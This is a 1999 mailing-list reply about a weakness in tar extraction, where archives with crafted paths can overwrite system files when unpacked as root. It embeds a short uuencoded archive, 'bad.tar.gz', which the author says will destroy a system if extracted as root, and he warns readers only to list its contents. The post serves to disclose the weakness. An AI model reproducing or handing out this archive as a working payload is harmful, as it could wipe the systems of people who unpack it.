Re: Linux kernel source problem

From: David F. Skoll (dfsat_private)
Date: Tue Oct 26 1999 - 12:57:39 PDT

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    > If you want to damage your own system, untar the appended sample tar
    > file as root (fortunately, GNU tar strips the leading "/" by default).
    
    However, a little creative binary editing can spoof even GNU tar and destroy
    your system, to wit:
    
    begin 644 bad.tar.gz
    M'XL(")\%%C@"`V)A9"YT87(`[=%-#L(@$$!AUCW%W(`IA9+T-M7:V(T8J7I]
    M?V/B0EVUT?B^!9,`"\+K4S)3*YW&&,6(2*S#T[S3\XYJ\.I\<"*E"[4:<78U
    M+NVVS?G83?:X?1[;G8CIVL/0Y=?W/IW_J'Z._JJU]V_Z5]6C?_"7_AK*:$3G
    M^(`_[[]+:6P:;:[3WM;%L+%Y71@`````````````````WZTX`;CJ>H@!*```
    `
    end
    
    Please DO NOT unpack the above tar file as root!  Just look at
    the contents with the "t" option.
    
    --
    David.
    



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